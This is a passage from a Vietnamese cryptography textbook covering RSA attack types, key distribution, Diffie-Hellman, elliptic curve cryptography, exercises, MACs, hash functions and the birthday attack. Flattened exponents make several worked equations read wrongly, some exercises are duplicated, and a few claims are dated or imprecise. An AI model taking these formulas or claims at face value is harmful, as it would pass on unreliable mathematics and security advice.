Trên thực té có nhiều cách tấn công khác nhau đối với mã công khai RSA như sau:
Tìm kiếm khoá bằng phương pháp vét cạn, phương pháp này không khả thi với kích
thước đủ lớn của các số hoặc tấn công bằng toán học dựa vào độ khó việc tính Ф(n) bằng
cách phân tích n thành hai số nguyên tố p và q hoặc tìm cách tính trực tiếp Ф(n). Trong
quá trình nghiên cứu việc thám mã người ta đề xuất kiểu tấn
công thời gian trong khi giải mã, tức là căn cứ vào tốc độ mã hoá và giải mã các mẩu tin
cho trước mà phán đoán các thông tin về khoá. Cuối cùng có những nghiên cứu tấn công
RSA với điều kiện biết trước bản mã cho trước. Cu thể như sau:
Bài toán phân tích
• Tấn công toán học có 3 dạng
o Phân tích N = p.q, sau đó tính Ф(N) và d

o Tìm n trực tiếp Ф(N) và tính d

o Tìm d trực tiếp

• Hiện tại tin rằng tất cả đều tương đương với bài toán phân tích
o Có các bước tiến chậm theo thời gian
o Hiện tại cho rằng RSA 1024 hoặc 2048 là an toàn
• Tấn công thời gian
o Phát triển vào giữa năm 1990
o Paul Kocher chỉ ra rằng kẻ thám mã có thể xác định được khoá riêng nếu theo
dõi thời gian máy tính cần để giải mã các bản tin.
o Tấn công thời gian không chỉ áp dụng cho RSA, mà cả với các hệ mã công
khai khác.
o Tấn công thời gian giống như kẻ cướp đoán số điện thọai bằng cách quan sát
một người nào đó trong bao lâu chuyển quay điện thoại từ số này sang số
khác.
• Tấn công bản mã chọn trước
o RSA có điểm yếu với tấn công bản mã chọn trước
o Kẻ tấn công chọn bản mã và đoán bản rõ được giải mã
o Chọn bản mã để khám phá RSA cung cấp thông tin để thám mã
o Có thể tính với bộ đệm ngãu nhiên của bản rõ
o Hoặc sử dụng bộ đệm mã hoá phản xứng.

V.3 Quản lý khoá

V.3.1 Phân phối khoá
 - 83 -
Mã khoá công khai giúp giải bài toán phân phối khoá, đây là nhu cầu cấp bách cần phải
tạo ra một cơ chế chia sẻ khoá trong môi trường thường xuyên trao đổi thông tin và
thường xuyên thay đổi khoá. Nó bao gồm hai khía cạnh sau:
o Phân phối khoá một cách công khai nhưng đảm bảo được bí mật.
o Sử dụng mã khoá công khai để phân phối khoá mật (còn khoá mật dùng để mã
hoá thông tin).

V.3.2 Phân phối khoá công khai có thể xem xét để được sử dụng vào một trong những
việc sau:
o Thông báo công khai khoá của người sử dụng.
o Thư mục truy cập công cộng cho mọi người.
o Chủ quyền khoá công khai, người nắm giữ khoá công khai.
o Chứng nhận khoá công khai, khoá công khai của người sử dụng được nơi có
thẩm quyền chứng nhận.

Thông báo công khai

• Người dùng phân phối khoá công khai cho người nhận hoặc thông báo rộng rãi cho
cộng đồng. Chẳng hạn như người sử dụng có thể tự bổ sung khoá PGP vào thư điện
tử hoặc gửi cho nhóm chia sẻ tin hoặc một danh sách thư điện tử.
• Điểm yếu chính của thông báo công khai là mạo danh: một người nào đó có thể tạo
khoá và tuyên bố mình là một người khác và gửi thông báo cho mọi người khác. Cho
đến khi giả mạo bị phát hiện thì kẻ mạo danh đã có thể lừa trong vai trò người khác

Thư mục truy cập công cộng

• Dùng thư mục truy cập công cộng có thể đạt được tính an toàn cao hơn bằng cách
đăng ký khoá với thư mục công cộng để đăng tải và chia sẻ cho mọi người.
• Thư mục cần được đảm bảo tin cậy với các tính chất sau:
o Chứa việc nhập tên và khoá công khai
o Người dùng đăng ký mật với Thư mục
o Người dùng có thể thay khoá bất cứ lúc nào
o Thư mục được in định kỳ
o Thư mục có thể truy cập qua mạng
• Mô hình trên vẫn còn có các lỗ hổng để kẻ xâm nhập sửa hoặc giả mạo khi vào hệ
thống.

Chủ quyền khoá công khai

Đây là bước cải thiện tính an toàn bằng kiểm soát chặt chẽ tập trung việc phân phối khoá
từ Thư mục. Nó bao gồm các tính chất của một Thư mục như đã nêu ở phần trước và đòi
hỏi người dùng biết khoá công khai của Thư mục đó. Sau đó người dùng nhận được bất
kỳ khoá công khai mong muốn nào một cách an toàn, bằng cách truy cập thời gian thực
đến Thư mục khi cần đến khoá. Tuy nhiên yêu cầu truy cập thời gian thực là một nhược
điểm của cách phân phối khoá này. Cụ thể trong kịch bản sau hai người sử dụng chia sẻ
khoá công khai của mình cho nhau thông qua việc sử dụng khoá công khai của Chủ
 - 84 -
quyền để nhận được khoá công khai của đối tác và trao đổi qua lại để khẳng định người
này đã biết thông tin của người kia.

Chứng nhận khoá công khai

Chứng nhận cho phép trao đổi khoá không cần truy cập thời gian thực đến Chủ quyền thư
mục khoá công khai. Để làm việc đó chứng nhận trói danh tính của người sử dụng với
khoá công khai của anh ta và “đóng dấu và giấy chứng nhận” đó để tránh giả mạo. Các
thông tin đi kèm thông thường là chu kỳ kiểm định, quyền sử dụng, thời hạn,…
Nội dung trên được ký bởi khoá riêng tin cậy của Chủ quyền chứng nhận (CA, Certificate
Authority). Do khoá công khai của CA được thông báo rộng rãi, nên chứng nhận đó có
thể được kiểm chứng bới một người nào đó biết khoá công khai của Chủ quyền chứng
nhận.
 - 85 -

V.3.3 Phân phối công khai các khoá mật

Nói chung có thể sử dụng các phương pháp trên để nhận được khoá công khai của người
định trao đổi thông tin. Khoá công khai đó dùng cho mục đích mã hoá, giải mã hoặc xác
nhận thông tin là của đối tác. Nhưng các thuật toán khoá công khai chậm, nên giá để bảo
mật thông tin là đắt. Do đó thông thường dùng khoá đối xứng để mã hoá và giải mã nội
dung bản tin, mà còn được gọi là khoá phiên hay khóa kỳ (section key). Có một số cách
thỏa thuận khoá phiên phù hợp giữa hai người sư dụng.

Phân phối khoá mật đơn giản

• Được đề xuất bởi Merkle vào năm 1979
o A tạo ra một cặp khoá công khai mới tạm thời
o A gửi B một khoá công khai và danh tính của họ
o B tạo ra khoá phiên và gửi nó cho A sử dụng khoá công khai được cung cấp
o A giải mã khoá phiên và cả hai cùng dùng nó.
• Vấn đề nằm ở chỗ, kẻ thù có thể ngăn hoặc đóng giả cả hai bên của thủ tục
Nếu có khoá công khai thì khoá phiên được trao đổi an toàn

V.3.4 Trao đổi khoá hỗn hợp:

Ta có thể kết hợp sử dụng Trung tâm phân phối khoá để phân phối khoá phiên như trên
mô hình máy chủ của IBM. Trung tâm chia sẻ khoá chính (master key) với mỗi người sử
dụng. Và phân phối khoá phiên sử dụng khoá chính với Trung tâm. Sơ đồ khoá công khai
được dùng để phân phối khoá chính. Sơ đồ ba lớp này đặc biệt hữu ích khi người sử dụng
phân tán rộng. Các yêu cầu căn bản của hệ thống là chất lượng thực hiện và sự tương
thích nền tảng.

V.4 Trao đổi khoá Diffie Hellman

V.4.1 Yêu cầu
 - 86 -
Trao đổi khoá Diffie Hellman là sơ đồ khoá công khai đầu tiên được đề xuất
bởi Diffie và Hellman năm 1976 cùng với khái niệm khoá công khai. Sau này được biết
đến bởi James Ellis (Anh), người đã đề xuất bí mật năm 1970 mô hình tương tự. Đây là
phương pháp thực tế trao đổi công khai các khoá mật. Nó thúc đẩy việc nghiên cứu đề
xuất các mã khoá công khai. Sơ đồ được sử dụng trong nhiều sản phẩm thương mại.
Là sơ đồ trao đổi khoá mật dùng khoá công khai:
o Không thể dùng để trao đổi mẩu tin bất kỳ.
o Tuy nhiên nó có thể thiết lập khoá chung.
o Chỉ có hai đối tác biết đến.
o Giá trị khoá phụ thuộc vào các đối tác (và các thông tin về khoá công khai và
khoá riêng của họ).
o Dựa trên phép toán lũy thừa trong trường hữu hạn (modulo theo số nguyên tố
hoặc đa thức) là bài toán dễ.
o Độ an toàn dựa trên độ khó của bài toán tính logarit rời rạc (giống bài toán
phân tích ra thừa số) là bài toán khó.

V.4.2 Khởi tạo Diffie Hellman

• Mọi người dùng thỏa thuận dùng tham số chung:
o Số nguyên tố rất lớn q hoặc đa thức.
o α
o là căn nguyên tố của mod q.
• Mỗi người dùng (A chẳng hạn) tạo khoá của mình:
o Chọn một khoá mật (số) của A: xA < q

x
o Tính khoá công khai của A: yA = α A mod q.

o Mỗi người dùng thông báo công khai khoá của mình yA.

V.4.3 Trao đổi khoá Diffie Hellman

• Khoá phiên dùng chung cho hai người sử dụng A, B là KAB
KAB = αxA.xB mod q
= yAxB mod q (mà B có thể tính)
= yBxA mod q (mà A có thể tính)
• KAB được sử dụng như khoá phiên trong sơ đồ khoá riêng giữa A và B
• A và B lần lượt trao đổi với nhau, họ có khoá chung KAB cho đến khi họ chọn khoá
mới.
• Kẻ thám mã cần x, do đó phải giải tính logarit rời rạc
Ví dụ:
Hai người sử dụng Alice & Bob muốn trao đổi khoá phiên:
 - 87 -
• Đồng ý chọn số nguyên tố q=353 và α=3
• Chọn các khoá mật ngẫu nhiên:
A chọn xA=97, B chọn xB=233
• Tính các khoá công khai:
yA=397 mod 353 = 40 (Alice)
yB=3233 mod 353 = 248 (Bob)
• Tính khoá phiên chung:
KAB= yBxA mod 353 = 24897 = 160 (Alice)
KAB= yAxB mod 353 = 40233 = 160 (Bob)

V.5 Mã đường cong Elip

Để đảm bảo tính an toàn đa số mã công khai sử dụng số học số nguyên lớn hoặc đa thức
với các số nguyên rất lớn hoặc đa thức bậc cao. Do đó buộc phải tải phần quan trọng vào
kho nhớ để xử lý khoá và mẩu tin. Làm như vậy vừa tốn bộ nhớ vừa dễ mất an toàn. Để
khắc phục điều đó mà vẫn đảm bảo độ an toàn của mã công khai, người ta đã đề xuất
cách khác là dùng đường cong Elip. Ở đây các phép toán được thực hiện trên các xâu bit
có kích thước nhỏ hơn.

V.5.1 Mã đường cong Elip thực

• Đường cong Elip được định nghĩa bởi phương trình với 2 biến x, y và hệ số thực
• Xét đường cong Elip bậc 3 dạng:
y2 = x3 + ax + b

trong đó x, y, a, b là các số thực và định nghĩa thêm điểm O.

• Có phép cộng đối với đường cong Elip
o Về hình học tổng của P và Q là điểm đối xứng của giao điểm R
o Điểm O đóng vai trò là đơn vị đối với phép cộng và nó là điểm vô cực.
 - 88 -
V.5.2 Đường cong Elip hữu hạn
• Mã đường cong Elip sử dụng đường cong Elip mà các biến và hệ số là hữu hạn.
• Có hai họ được sử dụng nói chung:
o Đường cong nguyên tố Ep(a,b) được xác định trên Zp
o
 Sử dụng các số nguyên modulo số nguyên tố
 Tốt nhất trong phần mềm
o Đường cong nhị phân E2n(a,b)xác định trên GF(2n)
 Sử dụng đa thức với hệ số nhị phân
 Tốt nhất trong phần cứng

V.5.3 Đường cong Elip (ECC – Elliptic Curve Cryptography)

Trong ECC phép cộng giống phép nhân của modulo và phép cộng lặp trong ECC (tức là
phép nhân một điểm với một hệ số) giống như phép lũy thừa của modulo.
Bài toán sau đây trong ECC là bài toán khó tương đương với bài toán logarit rời rạc:
o Giả sử cho Q = k.P, trong đó P, Q là 2 điểm của đường cong Elip
o Dễ dàng tính Q, nếu cho trước P, k
o Rất khó tìm k, nếu cho trước P, Q. Bài toán tìm hệ số k chính là bài toán khó
bài toán logarit đường cong Elip. Mã đường cong Elip dựa trên bài toán khó
một chiều này để dấu khoá riêng.
Ví dụ: Xét E11(1,6).
Các phép cộng sau đây thực hiện trong Modulo 11.

V.5.4 ECC Diffie Hellman

Chẳng hạn dựa trên cơ sở độ khó của bài toán tìm hệ số liên hệ giữa hai điểm như trên,
người ta đưa ra sơ đồ trao đổi khoá ECC Diffie Hellman giồng như trao đổi khoá Diffie
Helman thông thường. Ở đây phép lũy thừa trong Modulo thông thường được thay bằng
phép nhân một điểm với hệ số trong ECC và phép logarit rời rạc được thay bằng phép
 - 89 -
toán cho 2 điểm tìm hệ số liên hệ giữa chúng. Bài toán sau là bài toán khó xác định độ an
toàn của sơ đồ trao đổi công khai khoá chung.
• Nhóm người dùng chọn chung một đường cong Elip phù hợp Ep(a,b)

• Chọn điểm cơ sở G=(x1,y1) với bậc lớn, tức là n lớn sao cho nG = O

• Hai người sử dụng A và B chọn khoá riêng của mình: nA< n, nB< n

• Sau đó họ tính các khoá công khai của A và B: PA=nA×G,PB=nB×G. Và cho công
bố công khai PA và PB.

• Hai người sử dụng dùng chung khoá mật: K=nA×nB×G.

• Mỗi người đều có cách tính khoá chung đó bằng cách lấy khoá riêng của mình nhân
với khoá công khai của đối tác: K=nA×PB, K=nB×PA

V.5.5 ECC mã và giải mã

Có một số cách dùng đường cong Elip để tạo mã công khai, ta xét cách đơn giản nhất
sau:
Trước hết nhóm người sử dụng cần phải thống nhất chọn một đường cong Elip phù hợp
và một điểm G giống như trong trao đổi khoá ECC Diffie – Hellman. Mỗi bản tin M
được coi như một điểm PM trên đường cong Elip đó.
• Mỗi người sử dụng chọn một khoá riêng cho mình nA < n

• Và tính khoá công khai để công bố PA=nA×G

• ECC mã bản tin M tương ứng với điểm PM trên đường cong Elip bằng cách tạo bản
mã CM là cặp điểm trên đường cong Elip đó như sau:

CM={kG, PM+k Pb}, k là số ngẫu nhiên

• Ta thực hiện phép toán trên hai điểm của CM để giải mã tìm PM

PM+kPb–nB(kG) = PM+k(nBG)–nB(kG) = PM

An toàn ECC
Dựa trên bài toán tìm hệ số liên hệ giữa hai điểm trên đường cong Elip gọi là bài toán
logarit trên đường cong Elip. Phương pháp nhanh nhất giải bài toán trên đã biết là
“Pollard rho method”. Bài toán này tương đương với bài toán
phân tích ra thừa số, nhưng có thể sử dụng kích thước khoá nhỏ hơn nhiều, chảng hạn so
với RSA. Người ta chứng minh được rằng với độ dài khoá bằng nhau các tính toán nói
 - 90 -
chung là tuơng đương. Vậy với độ an toàn như nhau ECC có nhiều ưu điểm về không
gian lưu trữ và tính an toàn đi kèm.

Bài tập

1. Tính mã hoá RSA của bản ghi sau:

• p=7, q=11, e = 3, NSD A chọn khoá riêng xA = 7, tính khoá công khai của A
• NSD B gửi bản tin M = 5 và mã bằng khoá công khai của A
• NSD A giải mã sử dụng định lý phần dư Trung Hoa
2. Tính mã hoá RSA của bản ghi sau:
• p=11, q=13, e = 7, NSD A chọn khoá riêng xA = 9, tính khoá công khai của A
• NSD B gửi bản tin M = 7 và mã bằng khoá công khai của A
• NSD A giải mã sử dụng định lý phần dư Trung Hoa
3. Tính mã hoá RSA của bản ghi sau:
• p=23, q=31, NSD A chọn khoá riêng xA = 13, tính khoá công khai của A
• NSD B gửi bản tin M = 20 và mã bằng khoá công khai của A
• NSD A giải mã sử dụng định lý phần dư Trung Hoa
4. Trao đổi khoá Difie Hellman:
• Chọn số nguyên tố dung chung q = 131 và α = 7,
• NSD A chọn khoá riêng xA = 11
• NSD B chọn khoá riêng xB = 19
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
5. Trao đổi khoá Difie Hellman:
• Chọn số nguyên tố dung chung q = 131 và α = 7,
• NSD A chọn khoá riêng xA = 11
• NSD B chọn khoá riêng xB = 19
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
6. Mã đường cong Elip
 - 91 -
• Cho hệ đường cong Elip
y2 = (x3 + x + 1) mod 13
• Vẽ đồ thị đường cong trên.
• Cho G = (4, 2)
• NSD A chọn khoá riêng xA = 2
• NSD B chọn khoá riêng xB = 3
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
7. Mã đường cong Elip
• Cho hệ đường cong Elip
y2 = (x3 + x + 1) mod 23
• Cho G = (3, 10)
• NSD A chọn khoá riêng xA = 2
• NSD B chọn khoá riêng xB = 3
• Tính khoá công khai của A và B
• Nêu cách A va B tính khoá mật dùng chung giữa A và B
8. Mã Elgamal:
• Cho hệ (G, α, β) trong đó G là một nhóm với phép nhân và α, β là hai phần tử
của G.
• Công khai G, α, β
• Giữ bí mật luỹ thừa nguyên a thoả mãn: αa = β (để tìm được a phải giải bài
toán logarit rời rạc là bài toán khó)
• Mã hoá mẫu tin M bằng cách chọn ngẫu nhiên số k và tính:
C=E(M) = (y1, y2) = (αk , M.βk )
• Giải mã: C = y2 . (y1a)-1

a) Áp dụng ví dụ trên cho p = 79, α = 5, a = 3, M = 19 và k = 4. Ở đây nhóm với

phép nhân là Zp, tính β. Tìm bản mã C của bản rõ M và giải mã

b) Áp dụng ví dụ trên cho p = 191, α = 7, a = 5, M = 29 và k = 9. Ở đây nhóm

với phép nhân là Zp, tính β. Tìm bản mã C của bản rõ M và giải mã.

c) Áp dụng ví dụ trên cho p = 191, α = 7, a = 5, M = 29 và k = 9. Ở đây nhóm

với phép nhân là Zp, tính β. Tìm bản mã C của bản rõ M và giải mã.

9. Nêu thuật toán tính lũy thừa của một cơ số cho trước. Đánh giá độ phức tạp của
thuật toán đó.

10. Tại sao có thể nói nếu dùng Định lý Trung Hoa để giải mã thì tốc độ giải mã
nhanh gấp 4 lần không dùng nó.
 - 92 -
CHƯƠNG 6:
XÁC THỰC MẪU TIN VÀ CÁC HÀM HASH
VI.1 Xác thực mẩu tin
VI.1.1 Các khái niệm
Xác thực mẩu tin liên quan đến các khía cạnh sau khi truyền tin trên mạng
o Bảo vệ tính toàn vẹn của mẩu tin: bảo vệ mẩu tin không bị thay đổi hoặc có
các biện pháp phát hiện nếu mẩu tin bị thay đổi trên đường truyền.
o Kiểm chứng danh tính và nguồn gốc: xem xét mẩu tin có đúng do người xưng
tên gửi không hay một kẻ mạo danh nào khác gửi.
o Không chối từ bản gốc: trong trường hợp cần thiết, bản thân mẩu tin chứa các
thông tin chứng tỏ chỉ có người xưng danh gửi, không một ai khác có thể làm
điều đó. Như vậy người gửi không thể từ chối hành động gửi, thời gian gửi và
nội dung của mẩu tin.
Ngoài ra có thể xem xét bổ sung thêm các yêu cầu bảo mật như mã hoá. Với mong muốn
đáp ứng các yêu cầu trên, có 3 hàm lựa chọn sau đây được sử dụng:
o Mã mẩu tin bằng mã đối xứng hoặc mã công khai.
o Mã xác thực mẩu tin (MAC): dùng khoá và một hàm nén mẩu tin cần gửi để
nhận được một đặc trưng đính kèm với mẩu tin và người gửi đó.
o Hàm hash (hàm băm) là hàm nén mẩu tin tạo thành “dấu vân tay” cho mẩu tin.
Các yêu cầu bảo mật khi truyền mẩu tin trên mạng.
Tìm các biện pháp cần thiết để chống đối lại các hành động phá hoại như sau:
o Để lộ bí mật: giữ bí mật nội dung mẩu tin, chỉ cho người có quyền biết.
o Thám mã đường truyền: không cho theo dõi hoặc làm trì hoãn việc truyền tin.
o Giả mạo: lấy danh nghĩa người khác để gửi tin.
o Sửa đổi nội dung: thay đổi, cắt xén, thêm bớt thông tin.
o Thay đổi trình tự các gói tin nhỏ của mẩu tin truyền.
o Sửa đổi thời gian: làm trì hoãn mẩu tin.
o Từ chối gốc: không cho phép người gửi từ chối trách nhiệm của tác giả mẩu
tin.
o Từ chối đích: không cho phép người nhận phủ định sự tồn tại và đến đích của
mẩu tin đã gửi.
VI.1.2 Mã mẩu tin
• Mã mẩu tin bản thân đã cung cấp một phần tính xác thực, vì khoá được chia sẻ giữa
người gửi và người nhận cũng như việc thay đổi nội dung cũng không dễ dàng thực
hiện nếu không có khoá.
• Cụ thể nếu mã đối xứng được sử dụng thì người nhận biết người gửi phải tạo ra mẩu
tin, vì chỉ có người gửi và người nhận biết được khoá sử dụng.
Người nhận có thể biết nội dung không bị sửa đổi, nếu mẩu tin có cấu trúc phù hợp,
tính dư thừa và tổng kiểm tra để phát hiện bất cứ thay đổi nào.
• Nếu khoá công khai được sử dụng thì mã cung cấp không đủ độ tin cậy về người gửi,
vì mọi người đều có thể biết khoá công khai của người nhận. Tuy nhiên nếu người
gửi ký mẩu tin sử dụng khoá riêng của họ và sau đó mã với khoá công khai của người
nhận, thì khi đó đảm bảo cả tính bảo mật và xác thực của mẩu tin. Cần phải bổ sung
 - 93 -
các biện pháp để phát hiện các mẩu tin đã bị làm hỏng. Việc sử dụng khoá riêng của
người gửi kết hợp với khoá công khai của người nhận có nhiều ưu việt, nhưng với giá
phải trả là chậm do dùng 2 mã khoá công khai trên mẩu tin.

VI.1.3 Mã xác thực mẩu tin (MAC – Message Authentication Code)

• Sinh ra bởi một thuật toán mà tạo ra một khối thông tin nhỏ có kích thước cố định
o Phụ thuộc vào cả mẩu tin và khoá nào đó.
o Giống như mã nhưng không cần phải giải mã.
• Bổ sung vào mẩu tin như chữ ký để gửi kèm theo làm bằng chứng xác thực.
• Người nhận thực hiện tính toán nào đó trên mẩu tin và kiểm tra xem nó có phù hợp
với MAC đính kèm không.
• Tạo niềm tin rằng mẩu tin không bị thay đổi và đến từ người gửi.

Các mã xác thực mẩu tin MAC cung cấp sự tin cậy cho người nhận là mẩu tin không bị
thay đổi và từ đích danh người gửi. Cũng có thể sử dụng mã xác thực MAC kèm
theo với việc mã hoá để bảo mật. Nói chung người ta sử dụng các khoá riêng biệt
cho mỗi MAC và có thể tính MAC trước hoặc sau mã hoá, tốt hơn là thực hiện MAC
trước và mã hoá sau.
Sử dụng MAC có nhược điểm là MAC phụ thuộc vào cả mẩu tin và cả người gửi, nhưng
đôi khi chỉ cần xác thực mẩu tin và thông tin xác thực đó chỉ phụ thuộc mẩu tin để lưu trữ
làm bằng chứng cho tính toàn vẹn của nó. Khi đó người ta sử dụng hàm Hash thay vì
MAC. Cần lưu ý rằng MAC không phải là chữ ký điện tử, vì cả người gửi và người nhận
đều biết thông tin về khoá.

Các tính chất của MAC

MAC là thông tin nén của mẩu tin kết hợp với khoá MAC = CK(M)
o Nén bản tin M có độ dài tùy ý
o Sử dụng khoá mật K
o Tạo nên dấu xác thực có độ dài cố định
o Là hàm nhiều - một, nghĩa là có nhiều bản tin khác nhau nhưng có cùng
MAC. Tuy nhiên ta phải lựa chọn hàm MAC sao cho xác suất để các mẩu tin
có ý nghĩa có MAC trùng nhau là rất nhỏ. Việc tìm được các mẩu tin như vậy
là rất khó khăn
 - 94 -
Yêu cầu đối với MAC
Tuỳ thuộc vào kiểu tấn công mà MAC phải có các tính chất khác nhau để chống đối lại.
Nhưng nói chung MAC phải thỏa mãn các điều sau
o Biết mẫu tin và MAC, không thể tìm được mẩu tin khác có cùng MAC.
o Các MAC cần phải phân bố đều
o MAC phải phụ thuộc như nhau vào tất cả các bit trong mẩu tin. Tức là khi
thay đổi một bit thông tin nào đó, MAC sẽ có những thay đổi kéo theo.

VI.1.4 Sử dụng mã đối xứng cho MAC

• Có thể dùng mã khối với chế độ chuỗi móc nối bất kỳ và sử dụng khối cuối cùng của
mã khối làm MAC của mẩu tin.
• Thuật toán xác thực dữ liệu (DAA – Data Authentication Algorithm) là MAC
được sử dụng rộng rãi dựa trên chế độ DES-CBC, trong đó
o Sử dụng véc tơ ban đầu IV = 0 và bộ đệm 0 của block cuối cùng
o Và mã mẩu tin sử dụng chuẩn mã dữ liệu DES trong chế độ CBC
o Gửi lấy block cuối cùng như là MAC của cả mẩu tin
 hoặc M bit trái nhất (16 ≤ M ≤ 64) của khối cuối cùng
• Nhưng bây giờ MAC cuối cùng với kích thước 64 bit cũng là quá nhỏ để đảm bảo an
toàn. Do đó người ta tìm cách tạo nên các MAC có kích thước lớn hơn.

VI.2 Các hàm Hash (hay còn gọi là hàm băm).

VI.2.1 Các yêu cầu
• Nén mẩu tin bất kỳ về kích thước cố định. Và giả thiết là hàm hash là công khai và
không dùng khoá. Hash chỉ phụ thuộc mẩu tin, còn MAC phụ thuộc thêm cả vào
khoá.
• Hash được sử dụng để phát hiện thay đổi của mẩu tin. Hash có thể sử dụng nhiều
cách khác nhau với mẩu tin, Hash thường được kết hợp dùng để tạo chữ ký trên mẩu
tin.

Các tính chất của hàm Hash

• Hàm Hash tạo nên dấu vân tay (tức là thông tin đặc trưng) của một tệp, mẩu tin hay
dữ liệu
 - 95 -
h = H(M)
• Nén mẩu tin có kích thước tùy ý về dấu vân tay có kích thước cố định. Hàm Hash
được giả thiết là công khai, mọi người đều biết cách sử dụng

Các yêu cầu của hàm Hash

• Có thể áp dụng cho mọi mẩu tin có kích thước tuỳ ý. Tuy nhiên phải tạo đầu ra h có
kích thước cố định, thường là 128 bit đến 1024 bit.
• Dễ tính h = H(M)cho mọi mẫu tin M, hàm H tính toán nhanh, hiệu quả phụ thuộc
chặt vào mẩu tin M và không tính toán ngược lại.
• Cho trước h không thể tìm được (rất khó) x sao cho H(x) = h. Tính chất này gọi là
tính chất một chiều, chiều tìm nghịch ảnh rất khó khăn, tuy chiều tìm ảnh lại dễ dàng.
• Cho x không thể tìm được y sao cho H(y) = H(x). Đây là tính chất chống đỡ va
chạm yếu, không tìm được mẩu tin có cùng Hash với mẩu tin đã cho.
• Và không thể tìm được x, y sao cho H(y) = H(x). Đây gọi là tính chất chống đỡ va
chạm mạnh, đây là yêu cầu cao hơn tính chống đỡ va chạm yếu.

VI.2.2 Các hàm hash đơn giản

Có một số đề xuất cho một số hàm hash đơn giản. Chẳng hạn biểu diễn mẩu tin dưới
dạng bit sau đó chia chúng thành các khối bit có kích thước bằng kích thước mong muốn
của Hash. Rồi dựa trên phép toán XOR các bit thông tin ở cùng vị trí tương ứng của các
khối, kết quả nhận được là Hash của cả mẩu tin. Hàm hash trên là không an toàn vì đối
với mẩu tin bất kỳ có thể tìm được mẩu tin mà có cùng hàm hash.Cần phải có hàm mạnh
hơn, mà sẽ xét trong chương sau.

Tấn công ngày sinh nhật

Có thể nghĩ hash 64 bit là an toàn, có nghĩa là khó tìm được bản tin có cùng hash. Nhưng
không phải vậy vì nghịch lý ngày sinh nhật như sau: trong lớp có ít nhất bao nhiêu sinh
viên, để xác suất có ít nhất 2 sinh viên trùng ngày sinh nhật là lớn hớn 0.5. Theo lý
thuyết xác suất thống kê gọi số sinh viên ít nhất trong lớp là k, khi đó xác suất q để không
có 2 người nào trùng ngày sinh là tỷ số giữa cách chọn k ngày khác nhau trong 365 ngày
trên số cách chọn k ngày bất kỳ trong 365 ngày. Vậy

q = Ck365 / 365k

Do đó, xác suất p để có ít nhất 2 người trùng ngày sinh là

p = 1 – q = 1 - Ck365 / 365k

Để p > 0.5 thì k > 22 hay k =23, cụ thể khi đó p = 0.5073.

Khi chưa tính toán chi tiết chúng ta nghĩ là trong lớp phải có ít nhất khoảng 365/2 tức là
184 sinh viên. Nhưng trên thực tế con số đó ít hơn rất nhiều chỉ cần 23 sinh viên, chính vì
vậy ta gọi đây là nghịch lý ngày sinh nhật.
Điều đó muốn nói lên rằng, trong nhiều trường hợp xác suất để hai mẩu tin có cùng bản
Hash là không nhỏ như chúng ta tưởng.

Tấn công ngày sinh nhật hoạt động như sau

 - 96 -
o Kẻ thám mã tạo ra 2m/2 biến thể của mẩu tin đúng mà tất cả đều có bản chất
ngữ nghĩa như nhau, với m ở đây là độ dài của bản mã hash.
o Kẻ thám mã cũng có thể tạo ra 2m/2 biến thể khác nhau của mẩu tin lừa dối,
tức là có ngữ nghĩa ngược lại
o Hai tập tin được so sánh với nhau để tìm cặp có cùng bản hash (xác suất >=
0.5 dựa vào nghịch lý ngày sinh nhật)
o Người dùng ký vào mẩu tin đúng, sau đó bị thay thế bằng mẩu tin giả mà cũng
có chữ ký đúng.
• Kết luận là cần phải dùng MAC có kích thước lớn hơn nữa.
VI.2.3 Mã khối như hàm Hash
• Có thể sử dụng mã khối như hàm Hash
o Sử dụng H0 = 0 và bộ đệm không cho khối cuối cùng
o Tính Hi = EMi [Hi-1]
o Và sử dụng khối cuối cùng như giá trị hàm hash

o Giống chế độ CBC nhưng không có khoá

• Hash kết quả quá nhỏ (64 bit)

o Cả vì tấn công sinh nhật trực tiếp
o Cả tấn công ở giữa chừng
• Các phương án khác cũng dễ bị tấn công
Kẻ thám mã cũng có thể tạo ra 2m/2 biến thể khác nhau của mẩu tin

VI.2.4 Tính an toàn của hàm Hash và MAC.

Giống như đối với mã khối, hàm hash cũng có tấn công vét cạn, cụ thể: Hash chống va
chạm mạnh có giá 2m/2, có nghĩa là với m là độ dài mã hash thì 2m/2 xác định sức mạnh
của nó chống đối lại tấn công vét cạn. Ta cần lựa chọn m đủ lớn để việc duỵêt tìm 2m/2
phương án là không khả thi. Có đề xuất Hash 128 bit cho MD5 phần cứng. Nhưng có thể
tìm được va chạm sau 24 ngày. Do đó có thể coi là hash 128 bit có thể có lỗ hổng, không
an toàn, tốt hơn dùng hash 160 bit.
Tấn công vét cạn trên MAC khó hơn, vì chúng đòi hỏi một cặp MAC của mẩu tin đã biết,
do nó phụ thuộc thêm vào khoá. Có thể tấn công vào không gian khoá (như là tìm khoá)
hoặc MAC. Độ dài ít nhất 128 bit MAC là cần thiết để đảm bảo an toàn
Thám mã tấn công có cấu trúc
Giống như mã khối muốn dùng tấn công vét cạn, có một số các tấn công thám mã là lựa
chọn tốt nhất hiện có. Chẳng hạn
 Nếu CVi = f[CVi-1, Mi]; H(M)=CVN

 Thì ở đây thông thường khai thác sự va chạm của hàm f

 Giống mã khối thường gồm một số vòng lặp
 Khi đó tân công sử dụng các tính chất của các hàm vòng.
 - 97 -
VI.3
Các thuật toán Hash và MAC
VI.3.1 Các thuật toán Hash và MAC
• Hàm Hash: thực hiện việc nén mẩu tin vê kích thước cố định bằng cách xử lý mẩu
tin theo từng khối kết hợp dùng một hàm nén nào đó và có thể sử dụng mã khối.
• Mã xác thực mẩu tin (MAC): thực hiện tạo phần xác thực cho mẩu tin có kích
thước cố định, để cung cấp tính toàn vẹn của mẩu tin và tính xác thực thông qua
việc sử dụng khoá. Có thể tiíen hành bằng cách sử dụng mã khối với chế độ móc
nối hoặc hàm Hash.

Cấu trúc thuật toán Hash

VI.3.2 Thuật toán Hash an toàn SHA (Secure Hash Algorithm)

SHA có nguồn gốc từ Viện chuẩn công nghệ quốc gia Hoa kỳ - NIST & NSA vào
năm 1993, sau đó được nâng cấp vào 1995 theo chuẩn US và chuẩn là FIPS 180-1
1995 và Internet RFC3174, được nhắc đến như SHA-1. Nó được sử dụng với sơ đồ
chữ ký điện tử DSA (Digital Signature Algorithm).
Thuật toán là SHA dựa trên thiết kế MD4 với một số khác biệt tạo nên giá trị Hash
